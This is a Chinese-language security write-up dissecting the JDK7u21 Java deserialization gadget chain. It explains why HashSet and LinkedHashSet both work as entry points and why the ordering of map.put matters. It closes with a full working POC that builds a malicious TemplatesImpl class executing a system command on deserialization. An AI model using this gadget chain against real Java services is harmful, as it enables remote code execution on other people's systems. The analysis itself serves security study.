關于JDK7u21 Gadgets兩個問題的探討

最近在分析JDK7u21的Gadgets,有兩個不解之處,閱讀前輩們的文章發現并未提起:
1.為什么有的POC入口是LinkedHashSet,有的是HashSet,兩個都可以觸發嗎?
2.關于map.put("f5a5a608", templates);的位置,為什么將其放在set.add(proxy);前面執行會導致反序列化執行命令失敗的問題?
就這兩個疑惑進行調試分析,有了這篇文章。
本次分析調試的POC放在最后一部分,需要的可以先copy。
接下來本文將會按照以下思路分析探討:
1.Gadgets鏈反序列化載體的分析,為上述兩個問題的解答做鋪墊;
2.兩個疑惑的分析解答;
3.我們挖掘此類漏洞的思路。
反序列化載體分析
frohoff給出的Gadgets

命令執行載體TemplatesImpl前面分析過了,這里不涉及了。根據Gadgets我們知道是通過AnnotationInvocationHandler的invoke和equalsImpl調用了TemplatesImpl.getOutputProperties,那么我們先看下這部分。
1、AnnotationInvocationHandler鏈
POC中創建了一個動態代理proxy,用tempHandler代理Templates接口,根據動態代理知識我們知道實際就是AnnotationInvocationHandler的invoke代理了Templates接口的兩個方法newTransformer()和getOutputProperties()。
1.1、AnnotationInvocationHandler.invoke()
// invoke傳入的參數:Object proxy 代理對象, Method method 代理實例上調用的接口方法的method, Object[] args 方法的實參public Object invoke(Object var1, Method var2, Object[] var3) { // var4即代理的方法名 String var4 = var2.getName(); // var5即代理方法的參數數組 Class[] var5 = var2.getParameterTypes(); // 當代理方法是equals,并且參數只有一個是Object,也就是當代理的方法是proxy.equals(Object obj) if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { // equalsImpl傳入的參數實際是代理方法的參數,如果這里傳入TemplatesImpl實例,var3[0] = TemplatesImpl實例 return this.equalsImpl(var3[0]); } else { ...... }}
根據動態代理相關知識,我們知道invoke()傳入的參數是代理對象,被代理的方法及其參數只有在滿足一定條件時(var4.equals("equals") && var5.length == 1 && var5[0] == Object.class)會調用equalsImpl。
1.2、 AnnotationInvocationHandler.equalsImpl()
private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) {// 根據poc這里type指的就是初始化的Templates.class return false; } else { // 傳入的參數不是AnnotationInvocationHandler對象也不是Templates的實例時 // getMemberMethods會獲取AnnotationInvocationHandler.this.type.getDeclaredMethods(),即type屬性代表的類Templates定義的方法 Method[] var2 = this.getMemberMethods(); int var3 = var2.length; // Templates一共有2個方法newTransformer()和getOutputProperties(),循環調用所有方法 for(int var4 = 0; var4 < var3; ++var4) { // method對象 Method var5 = var2[var4]; // 獲取method名稱,即方法名 String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; // asOneOfUs:如果var1是動態代理類實例,并且其InvocationHandler是AnnotationInvocationHandler實例,如果不是的話,返回null AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { // 沒有var1不是InvocationHandler實例的情況 try { // invoke調用方法:依次調用method.invoke,當var1是TemplatesImpl實例,就會調用TemplatesImpl.newTransformer或TemplatesImpl.getOutputProperties var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } }
if (!memberValueEquals(var7, var8)) { return false; } }
return true; }}
根據上面代碼的分析我們能得出equalsImpl傳入的參數是TemplatesImpl實例,并且AnnotationInvocationHandler.type屬性是TemplatesImpl.class對象,我們就能調用TemplatesImpl.newTransformer或TemplatesImpl.getOutputProperties。那么當equalsImpl傳入的參數是TemplatesImpl實例時,proxy.equals(Object obj)實際就是需要傳入參數就是參數類型即TemplatesImpl.class。
小結:
AnnotationInvocationHandler.invoke(Object proxy, Method method,Object[0] templatesImpl)---滿足條件(proxy.equals(TemplatesImpl實例))--->AnnotationInvocationHandler.equalsImpl(Templates實例)----->TemplatesImpl.newTransformer或TemplatesImpl.getOutputProperties
現在的問題是如何能滿足proxy.equals(TemplatesImpl實例)這個條件。
2、proxy.equals(TemplatesImpl實例)
2.1、HashMap.put()
public V put(K key, V value) { if (key == null) return putForNullKey(value); // 計算key的hash int hash = hash(key); // 返回hash在數組中的索引i int i = indexFor(hash, table.length); // 鏈表的操作,循環鏈表中的所有鍵值對 for (Entry e = table[i]; e != null; e = e.next) { Object k; // 條件1:當前鍵值對的hash == 要插入鍵值對的hash,條件2:當前鍵值對的key的值==要插入的鍵值對的key的值,條件3:當前要插入鍵值對的key.equals(當前鍵值對的key)) if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } }
modCount++; addEntry(hash, key, value, i); return null;}
jdk1.7的HashMap的數據結構是數組+鏈表,插入key-value操作:
1.數組下標是key計算后的hash值;
2.數組的值是一個鏈表;
3.要插入一個新的key-value,如果key計算后的hash在數組中已經存在,則會在這個hash所在鏈表中插入這個value。當然插入之前要滿足一個條件:插入的鍵值對的key不能在鏈表中已存在,即key的hash可以相等,但是key不能相等。
所以HashMap在插入時會對key和已存在的hash進行比較,不允許相同的key的鍵值對重復進行插入。
這跟本次鏈有什么關系?
我們要找的是proxy.equals(TemplatesImpl實例)的調用,上面代碼if (e.hash == hash && ((k = e.key) == key || key.equals(k)))當條件1滿足且條件2不滿足,會執行equal方法。如果要調用proxy.equals(TemplatesImpl實例),那么需要讓key=proxy,k=TemplatesImpl實例,即當前插入的鍵值對的key是proxy,并且需要key是TemplatesImpl實例的鍵值對已存在,那么我們就需要在插入的時候先插入TemplatesImpl實例再插入Proxy實例。這也說明了poc為什么要先添加TemplatesImpl實例再添加Proxy實例。
接下來的問題是怎么讓條件1滿足條件2不滿足?
當key=proxy且k=TemplatesImpl實例時,兩者一定不相等條件2滿足。條件1(TemplatesImpl實例的哈希==proxy的哈希)怎么滿足?
2.2、TemplatesImpl實例的哈希==Proxy實例的哈希
在HashMap中計算hash會調用hash()方法:int hash = hash(key);,我們先來看看hash()方法。
final int hash(Object k) { int h = 0; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; } //關鍵處 h ^= k.hashCode(); // 這個函數確保在每個位位置僅相差常數倍的hashCodes沖突的數量有限(在默認加載因子下大約為8)。 h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4);}
hash調用k的hashCode方法,即會調用k所代表的對象的該方法,那么我們需要看看Proxy.hashCode()和TemplatesImpl.hashCode()。
TemplatesImpl內部沒有定義hashCode(),所以調用的是Object的該方法,該方法是native方法,我們無法得知細節。
Proxy內部也沒有定義hashCode(),但是有這樣的說明:
調用{@code java.lang.Object}中聲明的{@code hashCode}、{@code equals}或{@code toString}方法。將對代理實例上的Object}進行編碼并將其分派給調用處理程序的{@code invoke}方法,其方式與接口方法調用的編碼和分派方式相同,如上所述。{@code Method}對象傳遞給{@code invoke}的聲明類將是{@code java.lang.Object}。代理實例的其他公共方法繼承自{@code java.lang。Object}不會被代理類覆蓋,所以這些方法的調用行為就像{@code java.lang.Object}實例的行為一樣。【題外話:注解@code的使用語法{@code text} 被解析成text,將文本標記為代碼樣式的文本,在code內部可以使用 < 、> 等不會被解釋成html標簽, code標簽有自己的樣式。一般在Javadoc中只要涉及到類名或者方法名,都需要使用@code進行標記。】
如果調用proxy的hashCode方法,當代理handler是AnnotationInvocationHandler對象時,proxy.hashCode會通過AnnotationInvocationHandler.invoke處理,實際上AnnotationInvocationHandler.invoke會通過AnnotationInvocationHandler.hashCodeImpl()來具體實現。
if (var4.equals("hashCode")) { return this.hashCodeImpl();}
AnnotationInvocationHandler.hashCodeImpl():在P神的JDK7u21文章里,特別分析了該方法,我們來看下。
private int hashCodeImpl() { int result = 0; // 循環memberValues的所有鍵值對,將鍵值對通過計算獲取的結果進行累加。memberValues指的是AnnotationInvocationHandler實例化時傳入的Map實例,<"f5a5a608",TemplateImpl實例> for (Map.Entry e : memberValues.entrySet()) { result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue()); } return result; }
當 memberValues 中只有一個key和一個value時,該哈希簡化成 (127 * key.hashCode()) ^ value.hashCode() 。如果key.hashCode() 等于0,任何數異或0的結果仍是他本身,那么該哈希可以簡化成value.hashCode() 。那么當value就是TemplateImpl對象時,返回的result是TemplateImpl對象的hash,那么這時候proxy.equals(TemplatesImpl實例)就是TemplateImpl對象的hash,這兩個哈希就變成完全相等。
所以key.hashCode=0,找到這個key,value是TemplateImpl實例。如何找到這個key,我們可以通過計算:
for (long i = 0; i < 9999999999L; i++) { // 當其hashCode是0就是我們想要的結果 if (Long.toHexString(i).hashCode() == 0) { System.out.println(Long.toHexString(i)); }}
hash碰撞后的結果會有多個,將其中一個作為key就可以,所以針對AnnotationInvocationHandler實例化的Map對象進行插入操作即Map.put(“f5a5a608”,TemplateImpl實例)。
2.1和2.2小結:
這時候為了觸發命令執行,我們就找到一條鏈:
HashMap.put(proxy,xx)--->Proxy.hashCode()--->AnnotationInvocationHandler.invoke()--->AnnotationInvocationHandler.hashCodeImpl()--->Map.put("f5a5a608",TemplateImpl實例)滿足--->proxy.equals(TemplatesImpl實例)--->AnnotationInvocationHandler.equalsImpl()--->TemplatesImpl.getOutputProperties()
接下來的問題是如何能夠在反序列化時調用HashMap.put(proxy,xx)?
2.3、如何能夠調用HashMap.put?
調用HashMap.put我們考慮HashSet,因為HashSet內部使用HashMap來存儲數據,并且HashSet重寫了readObject方法,既然重寫了readObject那么就有可能要調用HashMap.put方法來恢復數據結構。我們來看下HashSet.readObject():
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // 調用默認反序列化方法 s.defaultReadObject(); // 讀取HashMap容量和負載因子,并創建備份HashMap int capacity = s.readInt(); float loadFactor = s.readFloat(); // 判斷是否是LinkedHashSet實例,如果是就實例化一個LinkedHashMap對象,否則實例化一個HashMap對象 map = (((HashSet)this) instanceof LinkedHashSet ? new LinkedHashMap(capacity, loadFactor) : new HashMap(capacity, loadFactor));
// 讀取map個數 int size = s.readInt(); // 循環反序列化所有元素 for (int i=0; i // 按照e的原始類型反序列化,并put到hashmap E e = (E) s.readObject(); map.put(e, PRESENT);// 注意!!這里會調用HashMap.put }}
在HashSet.readObject()中讀取每個entry后會將其put到HashMap中,因此只要我們序列化一個HashSet,反序列化時就會調用HashMap.put()。
另外需要注意一點,HashSet.add()在添加元素時,實際調用了HashMap的put方法,將傳入的參數作為key,value是一個常量,所以我們在調用HashSet.add(e),添加的元素e實際都是HashMap的key,這也跟前面的2.1的put的key對上了,add添加的就是TemplateImpl實例和Proxy實例。
public boolean add(E e) { // add的e就是HashMap鍵值對的key return map.put(e, PRESENT)==null; }
那么到這里,我們就可以構造完整的執行鏈:
HashSet.readObject()--->HashMap.put(proxy,xx)--->Proxy.hashCode()--->AnnotationInvocationHandler.invoke()--->AnnotationInvocationHandler.hashCodeImpl()--->Map.put("f5a5a608",TemplateImpl實例)滿足--->proxy.equals(TemplatesImpl實例)--->AnnotationInvocationHandler.equalsImpl()--->TemplatesImpl.getOutputProperties
3、為什么有的POC入口是LinkedHashSet,有的是HashSet?
我看到有些分析文章提到了需要用LinkedHashSet而不是HashSet,因為LinkedHashSet是有序的HashSet是無序的。其實兩個都可以作為入口點,不論LinkedHashSet還是HashSet,主要跟反序列化時在HashSet.readObject中調用map.put插入TemplatesImpl實例和Proxy實例前后順序有關系,因為需要HashMap.put插入時的比較操作來觸發命令執行,當插入Proxy實例需要TemplatesImpl實例已經存在才能調用proxy.equals(templatesimpl),這里不懂可以回到2.1再理解下。
LinkedHashSet可以保證我們的添加時候的順序和反序列化時候的順序一致,但是HashSet是無序的,不能保證這一點,那么我們如何讓HashSet也滿足反序列化時先讀取TemplatesImpl實例再讀取Proxy實例?
答案如下:
HashMap map = new HashMap();......HashSet set = new HashSet();map.put("f5a5a608", new int[]{-16});set.add(proxy);set.add(templates);map.put("f5a5a608", templates);
我們知道HashMap的數據結構是數組+鏈表,雖然它的插入是無序的,但是它迭代讀取所有元素時還是會按照數組下標順序來,那么我們只要讓Proxy實例所在的數組索引大于Template實例所在數組索引就可以滿足條件。HashMap初始長度為16,當proxy在最大下標15時就可以滿足這個條件。我們知道proxy.hash可以根據AnnotationInvocationHandler.hashCodeImpl進行計算,AnnotationInvocationHandler.hashCodeImpl時根據map來計算的,map我們可控。
// 1、計算數據索引indexstatic int indexFor(int h, int length) { return h & (length-1); // h =15,15 & 15 =15}
// 2、計算hashfinal int hash(Object k) { int h = 0; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; } // proxy.hashCode最終是AnnotationInvocationHandler.hashCodeImpl計算的結果 h ^= k.hashCode();
h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); // 返回需要是15}
根據上面代碼我們來反推下map需要put的鍵值對。
1.下標indexFor根據hash和容量計算,那么proxy.hash需要是15;
2.如何讓proxy.hash=15?我們讓hash(proxy)的結果是15就可以讓indexFor是15,那么最終hash里面h ^ (h >>> 7) ^ (h >>> 4)的值需要等于15;
3.那么proxy.hashCode值是多少能讓其hash(proxy)是15?我們可以通過計算:
public static void caculate() { for (int i = 0; i < 100;i++){ // 將上面計算hash代碼拿下來,單獨計算下 int h =0; h ^= i; h ^= (h >>> 20) ^ (h >>> 12); if ( (h ^ (h >>> 7) ^ (h >>> 4) )== 15){ System.out.println("i:" + i); } }}
計算的結果是當i=15,能夠讓hash(proxy)=5,也就是proxy.hashCode需要是15。當proxy.hashCode=15,map怎么賦值?這就簡單了,我們來看下AnnotationInvocationHandler.hashCodeImp,當e.getKey().hashCode()=0,hashCodeImpl返回的值是memberValueHashCode(e.getValue())的值,計算原生類型數組memberValueHashCode()是可控的,我們下面以int數組為例進行計算,當e.getValue() = a[]{-16}能夠返回proxy.hashCode是15。
// 1、AnnotationInvocationHandler.hashCodeImpl關鍵代碼// 當e.getKey().hashCode()==0,當e.getKey()==f5a5a608result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue());
// 2、 memberValueHashCode(e.getValue()):原生類型private static int memberValueHashCode(Object var0) { Class var1 = var0.getClass(); if (!var1.isArray()) { //非原生類型 return var0.hashCode(); } else if (var1 == byte[].class) { return Arrays.hashCode((byte[])((byte[])var0)); } else if (var1 == char[].class) { return Arrays.hashCode((char[])((char[])var0)); } else if (var1 == double[].class) { return Arrays.hashCode((double[])((double[])var0)); } else if (var1 == float[].class) { return Arrays.hashCode((float[])((float[])var0)); } else if (var1 == int[].class) { return Arrays.hashCode((int[])((int[])var0)); } else if (var1 == long[].class) { return Arrays.hashCode((long[])((long[])var0)); } else if (var1 == short[].class) { return Arrays.hashCode((short[])((short[])var0)); } else { return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0)); }}
// 3、 memberValueHashCode調用AnnotationInvocationHandler.hashCode(int a[]),當返回的result是15時,并且讓a數組只有一個元素,element=-16public static int hashCode(int a[]) { if (a == null) return 0;
int result = 1; for (int element : a) result = 31 * result + element;
return result;}
到這里有人可能會提出一點,當proxy和templates計算出的數組下標剛好一樣都是15怎么辦?我們可以通過先set.add(proxy)再set.add(templates),因為JDK1.7 HashMap的插入采用的是頭插法,這樣能讓鏈表中templates在前proxy在后,也能夠再讀取所有元素時先讀templates再讀proxy。
4、關于map.put("f5a5a608", templates);的位置問題
有一點是需要說明的就是map.put("f5a5a608", templates);的位置,它必須在set.add(proxy);后被執行。在HashSet反序列化時readObject會先執行E e = (E) s.readObject();,再調用HashMap.put,我們知道ObjectInputStream處理序列化時會把目標的屬性值反序列化賦給對象的屬性,所以s.readObject會先序列化map,然后將其賦值給tempHandler的屬性,同理tempHandler賦值給proxy屬性,這時候調用HashMap.put就可以觸發命令執行。

那么放在map.put("f5a5a608", templates);在set.add(proxy);之前和之后的區別是什么?
1、放在之前也是會執行命令的,但是它不是在反序列化操作時執行,并且反序列化時會報錯找不到我們的惡意類Evil而終止程序。因為map.put("f5a5a608", templates);在set.add(proxy);前面,當我們add時會調用HashMap.put從而進行上述2.1的比較操作最終觸發命令執行。為什么放在前面反序列化不會觸發命令執行并且還報錯終止?經過調試發現,templates._class屬性原來應該是null,但是經過map.put("f5a5a608", templates);set.add(proxy);后,該_class變成了Evil,這時候序列化再反序列化,會讀取屬性Evil的Class對象來賦值給templates._class,但是由于Evil實際上只有字節碼,沒有本地的class文件,所以讀取Evil.class會報錯找不到類。
2、放在后面,set.add(proxy);正常添加沒有觸發執行proxy.equals(TemplatesImpl實例),并未觸發Templates.getOutputProperties()->_class[i]=loader.defineClass(_bytecodes[i]),所以templates._class還是null,在反序列化時也是正常反序列化,只有在反序列化了proxy并將其put到hashmap時才觸發了執行,這時候通過讀取_bytecodes將類賦值給templates._class就不會報錯。
3、所以變化在于templates._class的值,放在前面templates._class不是null,放在后面templates._class是null,前面會在沒有反序列化時觸發命令執行,templates._class通過Templates.getOutputProperties()調用到了defineClass(_bytecodes[i])就會被賦值,這時候在反序列化 首先templates._class不是null了,不滿足命令執行的條件了,這也同樣能解釋為什么在 AnnotationInvocationHandler.equalsImpl()循環調用了Templates的兩個方法getOutputProperties()和newTransformer(),但是只執行了一次命令。
類似漏洞的挖掘思路
1.具備執行命令的條件:如本次漏洞的TemplatesImpl.getOutputProperties(),TemplatesImpl內部定義了類加載器并重載了defineClass,能夠實例化后我們的惡意類從而執行命令。
2.利用鏈的串聯,可以通過反向尋找方法的調用,可以借鑒常用的一些反序列化載體如HashMap、HashSet、AnnotationInvocationHandler等。
3.反序列化重寫了readObject,通過readObject能夠最終觸發命令執行。中間觸發命令執行方法一般用到Method.invoke()來反射調用。
POC
參考l3yx的poc進行修改并調試:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.*;import javassist.*;
import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.util.*;
public class Poc { //序列化 public static byte[] serialize(final Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); return btout.toByteArray(); }
//反序列化 public static Object unserialize(final byte[] serialized) throws Exception { ByteArrayInputStream btin = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(btin); return objIn.readObject(); }
//通過反射為obj的屬性賦值 private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
//封裝了之前對惡意TemplatesImpl類的構造 private static TemplatesImpl getEvilTemplatesImpl() throws Exception { ClassPool pool = ClassPool.getDefault();//ClassPool對象是一個表示class文件的CtClass對象的容器 CtClass cc = pool.makeClass("Evil");//創建Evil類 cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//設置Evil類的父類為AbstractTranslet CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//創建無參構造函數 cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//設置無參構造函數體 cc.addConstructor(cons); byte[] byteCode = cc.toBytecode();//toBytecode得到Evil類的字節碼 byte[][] targetByteCode = new byte[][]{byteCode}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCode); setFieldValue(templates, "_class", null); setFieldValue(templates, "_name", "xx"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
public static void main(String[] args) throws Exception { expHashSet();// expLinkedHashSet(); }
public static void expLinkedHashSet() throws Exception { TemplatesImpl templates = getEvilTemplatesImpl();
HashMap map = new HashMap();
//通過反射創建代理使用的handler,AnnotationInvocationHandler作為動態代理的handler Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
// 創建動態代理,用tempHandler代理Templates接口,AnnotationInvocationHandler的invoke代理Templates接口的兩個方法newTransformer()和getOutputProperties() Templates proxy = (Templates) Proxy.newProxyInstance(Poc.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
LinkedHashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy); map.put("f5a5a608", templates);
byte[] obj = serialize(set); unserialize(obj); }
public static void expHashSet() throws Exception { TemplatesImpl templates = getEvilTemplatesImpl();
HashMap map = new HashMap(); map.put("f5a5a608", new int[]{-16});
//通過反射創建代理使用的handler,AnnotationInvocationHandler作為動態代理的handler Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
// 創建動態代理,用tempHandler代理Templates接口,AnnotationInvocationHandler的invoke代理Templates接口的兩個方法newTransformer()和getOutputProperties() Templates proxy = (Templates) Proxy.newProxyInstance(Poc.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
HashSet set = new HashSet(); set.add(proxy); set.add(templates); map.put("f5a5a608", templates);
byte[] obj = serialize(set); unserialize(obj); }}
參考
https://gist.github.com/frohoff/24af7913611f8406eaf3
https://l3yx.github.io/2020/02/22/JDK7u21%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets/
phith0n:Java安全漫談 – 18.原生反序列化利用鏈JDK7u21
https://xz.aliyun.com/t/9704
https://www.cnblogs.com/wlrhnh/p/7256969.html
http://blog.csdn.net/justloveyou_/article/details/62893086
https://blog.csdn.net/justloveyou_/article/details/71713781